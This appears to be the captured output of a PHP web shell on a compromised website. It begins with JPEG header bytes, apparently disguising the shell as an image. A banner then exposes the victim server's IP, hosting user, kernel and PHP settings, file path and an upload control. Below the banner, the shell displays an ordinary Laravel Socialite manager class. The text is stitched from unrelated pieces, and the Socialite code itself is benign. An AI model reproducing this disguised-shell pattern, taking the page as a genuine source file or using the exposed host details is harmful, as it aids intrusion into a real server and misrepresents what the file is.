ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/private_html/vendor/laravel/socialite/src/ |
Upload File : |
<?php
namespace Laravel\Socialite;
use Illuminate\Support\Arr;
use InvalidArgumentException;
use Illuminate\Support\Manager;
use Laravel\Socialite\Two\GithubProvider;
use Laravel\Socialite\Two\GoogleProvider;
use Laravel\Socialite\One\TwitterProvider;
use Laravel\Socialite\Two\FacebookProvider;
use Laravel\Socialite\Two\LinkedInProvider;
use Laravel\Socialite\Two\BitbucketProvider;
use League\OAuth1\Client\Server\Twitter as TwitterServer;
class SocialiteManager extends Manager implements Contracts\Factory
{
/**
* Get a driver instance.
*
* @param string $driver
* @return mixed
*/
public function with($driver)
{
return $this->driver($driver);
}
/**
* Create an instance of the specified driver.
*
* @return \Laravel\Socialite\Two\AbstractProvider
*/
protected function createGithubDriver()
{
$config = $this->app['config']['services.github'];
return $this->buildProvider(
GithubProvider::class, $config
);
}
/**
* Create an instance of the specified driver.
*
* @return \Laravel\Socialite\Two\AbstractProvider
*/
protected function createFacebookDriver()
{
$config = $this->app['config']['services.facebook'];
return $this->buildProvider(
FacebookProvider::class, $config
);
}
/**
* Create an instance of the specified driver.
*
* @return \Laravel\Socialite\Two\AbstractProvider
*/
protected function createGoogleDriver()
{
$config = $this->app['config']['services.google'];
return $this->buildProvider(
GoogleProvider::class, $config
);
}
/**
* Create an instance of the specified driver.
*
* @return \Laravel\Socialite\Two\AbstractProvider
*/
protected function createLinkedinDriver()
{
$config = $this->app['config']['services.linkedin'];
return $this->buildProvider(
LinkedInProvider::class, $config
);
}
/**
* Create an instance of the specified driver.
*
* @return \Laravel\Socialite\Two\AbstractProvider
*/
protected function createBitbucketDriver()
{
$config = $this->app['config']['services.bitbucket'];
return $this->buildProvider(
BitbucketProvider::class, $config
);
}
/**
* Build an OAuth 2 provider instance.
*
* @param string $provider
* @param array $config
* @return \Laravel\Socialite\Two\AbstractProvider
*/
public function buildProvider($provider, $config)
{
return new $provider(
$this->app['request'], $config['client_id'],
$config['client_secret'], value($config['redirect']),
Arr::get($config, 'guzzle', [])
);
}
/**
* Create an instance of the specified driver.
*
* @return \Laravel\Socialite\One\AbstractProvider
*/
protected function createTwitterDriver()
{
$config = $this->app['config']['services.twitter'];
return new TwitterProvider(
$this->app['request'], new TwitterServer($this->formatConfig($config))
);
}
/**
* Format the server configuration.
*
* @param array $config
* @return array
*/
public function formatConfig(array $config)
{
return array_merge([
'identifier' => $config['client_id'],
'secret' => $config['client_secret'],
'callback_uri' => value($config['redirect']),
], $config);
}
/**
* Get the default driver name.
*
* @throws \InvalidArgumentException
*
* @return string
*/
public function getDefaultDriver()
{
throw new InvalidArgumentException('No Socialite driver was specified.');
}
}